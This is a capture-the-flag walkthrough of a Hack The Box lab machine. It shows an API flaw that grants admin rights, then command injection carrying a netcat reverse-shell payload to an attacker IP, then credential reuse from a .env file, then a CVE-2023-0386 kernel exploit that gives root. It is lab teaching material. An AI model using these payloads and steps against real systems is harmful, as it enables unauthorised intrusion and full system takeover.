Overview
Initial Setup
┌──(k1t㉿red)-[~]
└─$ export target='10.10.11.221'
export target_hostname="2million.htb"
echo -e "${target} ${target_hostname}" | sudo tee -a /etc/hosts
10.10.11.221 2million.htb Adding Target to Hosts File
Initial Setup:
Configuring the local hosts file to resolve the target hostname to the target IP address for easier access during enumeration and exploitation.
Walkthrough
Enumeration
┌──(k1t㉿red)-[~]
└─$ nmap -sC -sV -v -T4 $target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Initial Port Scan
Reconnaissance Methodology:
Initial port scanning using Nmap with service detection and version enumeration to identify open ports and running services on the target host.
Key Findings:
- SSH Service: OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 running on port 22
- Web Server: nginx running on port 80
- HTTP Methods: GET, HEAD, POST, OPTIONS supported
- Operating System: Ubuntu Linux
- Redirect: HTTP redirects to http://2million.htb/
- SSH Hostkeys: ECDSA (256-bit), ED25519 (256-bit)
Next Steps:
- Web enumeration on port 80 (nginx application)
- Directory discovery using supported HTTP methods
- Application analysis of the web interface
- SSH service investigation
┌──(k1t㉿red)-[~]
└─$ feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://2million.htb/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / _/ | | |__
| |___ | | | __, __/ / | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
🎯 Target Url │ http://2million.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
301 GET 7l 11w 162c http://2million.htb/logout => http://2million.htb/
302 GET 0l 0w 0c http://2million.htb/logout => http://2million.htb/
401 GET 0l 0w 0c http://2million.htb/api
200 GET 1l 8w 637c http://2million.htb/js/inviteapi.min.js
405 GET 0l 0w 0c http://2million.htb/api/v1/user/register
200 GET 94l 293w 4527c http://2million.htb/register
200 GET 80l 232w 3704c http://2million.htb/login
200 GET 96l 285w 3859c http://2million.htb/invite
405 GET 0l 0w 0c http://2million.htb/api/v1/user/login Feroxbuster Directory Discovery
Web Enumeration Methodology:
Using feroxbuster to discover web directories and endpoints, identifying API routes and application functionality.
Key Findings:
- /api: API endpoint (401 Unauthorized)
- /js/inviteapi.min.js: Minified JavaScript file for invite API
- /api/v1/user/register: User registration endpoint (405 Method Not Allowed on GET)
- /api/v1/user/login: User login endpoint (405 Method Not Allowed on GET)
- /register: Registration page (200 OK)
- /login: Login page (200 OK)
- /invite: Invite code page (200 OK)
Critical Discovery:
The application requires an invite code to register. The /invite endpoint and inviteapi.min.js file suggest there's an API for generating invite codes.

The TwoMillion web application requires an invite code for registration. The invite page provides instructions on how to generate invite codes.
Invite Code Generation
POST /api/v1/invite/how/to/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: application/json
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."} Finding Invite Code Generation Instructions
API Discovery:
Making a POST request to /api/v1/invite/how/to/generate reveals encrypted instructions. The response indicates the data is encrypted with ROT13.
Key Findings:
- Encrypted Data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"
- Encryption Type: ROT13
- Hint: The response explicitly mentions checking the encryption type
Next Steps:
- Decode the ROT13 encrypted message
- Follow the instructions to generate an invite code
The encrypted message is decoded using ROT13, revealing instructions to make a POST request to /api/v1/invite/generate.
┌──(k1t㉿red)-[~/Documents/boxes/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"RUtXN0otU0NLQlctVDlFRk4tMEhCVDE=","format":"encoded"}}
┌──(k1t㉿red)-[~/Documents/boxes/htb/twomillion]
└─$ echo "RUtXN0otU0NLQlctVDlFRk4tMEhCVDE=" | base64 -d
EKW7J-SCKBW-T9EFN-0HBT1 Generating and Decoding Invite Code
Invite Code Generation:
After decoding the ROT13 message, we make a POST request to /api/v1/invite/generate to obtain an invite code.
Process:
- POST request to
/api/v1/invite/generatereturns a base64-encoded invite code - Decode the base64 string:
RUtXN0otU0NLQlctVDlFRk4tMEhCVDE= - Result:
EKW7J-SCKBW-T9EFN-0HBT1
Security Issues:
- Weak Protection: Invite codes can be generated without authentication
- Predictable Format: Base64 encoding provides minimal security
- No Rate Limiting: Unlimited invite code generation possible
API Enumeration and Privilege Escalation
GET /api/v1 HTTP/1.1
Host: 2million.htb
Response:
v1
user
GET
/api/v1 - "Route List"
/api/v1/invite/how/to/generate - "Instructions on invite code generation"
/api/v1/invite/generate - "Generate invite code"
/api/v1/invite/verify - "Verify invite code"
/api/v1/user/auth - "Check if user is authenticated"
/api/v1/user/vpn/generate - "Generate a new VPN configuration"
/api/v1/user/vpn/regenerate - "Regenerate VPN configuration"
/api/v1/user/vpn/download - "Download OVPN file"
POST
/api/v1/user/register - "Register a new user"
/api/v1/user/login - "Login with existing user"
admin
GET
/api/v1/admin/auth - "Check if user is admin"
POST
/api/v1/admin/vpn/generate - "Generate VPN for specific user"
PUT
/api/v1/admin/settings/update - "Update user settings" Enumerating Available API Endpoints
API Enumeration:
After registering and logging in, we can enumerate the API routes to discover admin endpoints.
Key Findings:
- Admin Endpoints: Several admin-only endpoints discovered
- /api/v1/admin/settings/update: PUT endpoint to update user settings
- /api/v1/admin/vpn/generate: POST endpoint to generate VPN for users
- /api/v1/admin/auth: GET endpoint to check admin status
Attack Vector:
The /api/v1/admin/settings/update endpoint may allow privilege escalation if it doesn't properly validate admin permissions or if there's a logic flaw in the update mechanism.
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=sdre3te6ts22pjav6jf5n9kp8d
{"email":"pretengineer@home.com","is_admin":"true"}
HTTP/1.1 200 OK
Content-Type: application/json
{"id":13,"username":"pretengineer","is_admin":1} Exploiting Settings Update Endpoint
Privilege Escalation Exploitation:
The /api/v1/admin/settings/update endpoint allows updating user settings, including the is_admin field, without proper authorization checks.
Exploitation Process:
- Initial request without parameters returns error: "Missing parameter: email"
- Request with email returns error: "Missing parameter: is_admin"
- Request with both email and
is_admin: "true"successfully updates user to admin
Security Issues:
- Missing Authorization: Non-admin users can access admin endpoints
- Insecure Direct Object Reference (IDOR): Users can modify their own admin status
- Weak Input Validation: String "true" is accepted as boolean value
- No Permission Checks: Endpoint doesn't verify if requester is already admin
Impact:
Any authenticated user can escalate their privileges to admin, gaining access to administrative functions and potentially sensitive data.
Command Injection
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=sdre3te6ts22pjav6jf5n9kp8d
{"username":"pretengineer; whoami #"}
Response contains: www-data Testing VPN Generate Endpoint for Injection
Command Injection Testing:
After gaining admin access, we test the /api/v1/admin/vpn/generate endpoint for command injection vulnerabilities.
Discovery:
- Vulnerable Parameter: The
usernameparameter is passed to a system command - Injection Point: Command injection via username parameter
- Proof of Concept:
pretengineer; whoami #executeswhoamicommand - Result: Command output shows
www-data, confirming injection
Security Issues:
- Unsanitized Input: Username parameter directly used in system commands
- No Input Validation: Special characters not filtered or escaped
- Command Execution: User input executed with system privileges
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=sdre3te6ts22pjav6jf5n9kp8d
{"username":"pretengineer;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f #"}
Listener:
┌──(k1t㉿red)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.221] 45678
$ whoami
www-data Gaining Interactive Shell Access
Reverse Shell Setup:
Using command injection to establish a reverse shell connection back to our attack machine.
Payload Breakdown:
- rm /tmp/f: Remove any existing named pipe
- mkfifo /tmp/f: Create a named pipe
- cat /tmp/f|sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f: Execute reverse shell through named pipe
- #: Comment out any trailing command characters
Access Gained:
- User: www-data
- Shell: Interactive shell access
- Next Steps: Enumerate system, find credentials, escalate privileges
Initial Access (User)
www-data@2million:/var/www/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Nov 14 09:40 .
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 2023 Router.php
www-data@2million:/var/www/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=************ Finding .env File with Database Credentials
Credential Discovery:
After gaining shell access as www-data, we enumerate the web root directory and discover a .env file containing database credentials.
Key Findings:
- Database Host: 127.0.0.1 (localhost)
- Database Name: htb_prod
- Username: admin
- Password: ************
Security Issues:
- Exposed Credentials: .env file readable by web server user
- Weak Password: Predictable password pattern
- File Permissions: Sensitive configuration file in web root
Next Steps:
Attempt to SSH into the system using the discovered credentials (admin:************).
┌──(k1t㉿red)-[~/Documents/boxes/htb/twomillion]
└─$ ssh admin@10.10.11.221
admin@10.10.11.221's password: ************
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)
admin@2million:~$ cat /home/admin/user.txt
************ Gaining User-Level Access
SSH Access:
Using the discovered database credentials to authenticate via SSH and gain user-level access to the system.
Access Details:
- Username: admin
- Password: ************
- System: Ubuntu 22.04.2 LTS
- Kernel: Linux 5.15.70-051570-generic
User Flag:
Successfully retrieved the user flag: ************
Privilege Escalation (Root)
admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Subject: Urgent: Patch System OS
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
admin@2million:~$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Finding Kernel Vulnerability Hint in Mail
Email Analysis:
After logging in, the system indicates "You have mail". Checking the mail reveals a hint about a kernel vulnerability in OverlayFS / FUSE.
Key Information:
- Kernel Version: 5.15.70-051570-generic (dated September 2022)
- Vulnerability: OverlayFS / FUSE CVE mentioned in email
- Target CVE: CVE-2023-0386 (OverlayFS vulnerability)
Research:
The email references a serious Linux kernel CVE in OverlayFS / FUSE. Researching kernel version 5.15.70 reveals CVE-2023-0386, a vulnerability that allows local privilege escalation.
Next Steps:
- Download and compile the CVE-2023-0386 exploit
- Transfer exploit to target system
- Execute exploit to gain root access
admin@2million:/tmp/CVE-2023-0386$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] ioctl callback
path /file
cmd 0x80086601
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Nov 14 09:54 .
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
root@2million:/tmp/CVE-2023-0386# cat /root/root.txt
************ Compiling and Executing Kernel Exploit
CVE-2023-0386 Exploitation:
CVE-2023-0386 is a Linux kernel vulnerability in OverlayFS that allows local privilege escalation. The exploit uses FUSE (Filesystem in Userspace) to create a malicious overlay mount.
Exploitation Process:
- Compile Exploit: Build the exploit components (fuse, exp, getshell)
- Run FUSE Component: Execute
./fuseto set up the FUSE filesystem - Execute Main Exploit: Run
./expto trigger the vulnerability - Gain Root: Exploit creates a SUID binary that can be executed to gain root privileges
Technical Details:
- Vulnerability: Race condition in OverlayFS copy-up mechanism
- Impact: Local privilege escalation to root
- Affected Versions: Linux kernel 5.15.x (before patched versions)
- Exploit Method: FUSE-based overlay mount manipulation
Root Flag:
Successfully retrieved the root flag: ************
Key Takeaways
- API Enumeration: Always enumerate API endpoints thoroughly, including admin routes that may be accessible
- ROT13 Encoding: Simple encoding like ROT13 provides no security - always use proper encryption
- Authorization Bypass: Missing authorization checks on admin endpoints can lead to privilege escalation
- Command Injection: Never pass user input directly to system commands without proper sanitization
- Credential Storage: Never store credentials in files accessible by web server users
- Kernel Updates: Keep systems updated to patch known CVEs, especially kernel vulnerabilities
- Email Security: System mail can contain sensitive information and should be protected
MITRE ATT&CK Mapping
| Technique ID | Description |
|---|---|
| T1590 | Gather Victim Host Information (Reconnaissance) |
| T1071.001 | Application Layer Protocol: Web Protocols (HTTP enumeration) |
| T1190 | Exploit Public-Facing Application (API exploitation) |
| T1078.004 | Valid Accounts: Cloud Accounts (Admin privilege escalation) |
| T1098 | Account Manipulation (Settings update) |
| T1059.004 | Command and Scripting Interpreter: Unix Shell (Command injection) |
| T1552.001 | Unsecured Credentials: Credentials In Files (.env file) |
| T1078.003 | Valid Accounts: Local Accounts (SSH access) |
| T1068 | Exploitation for Privilege Escalation (CVE-2023-0386) |
| T1105 | Ingress Tool Transfer (Exploit transfer) |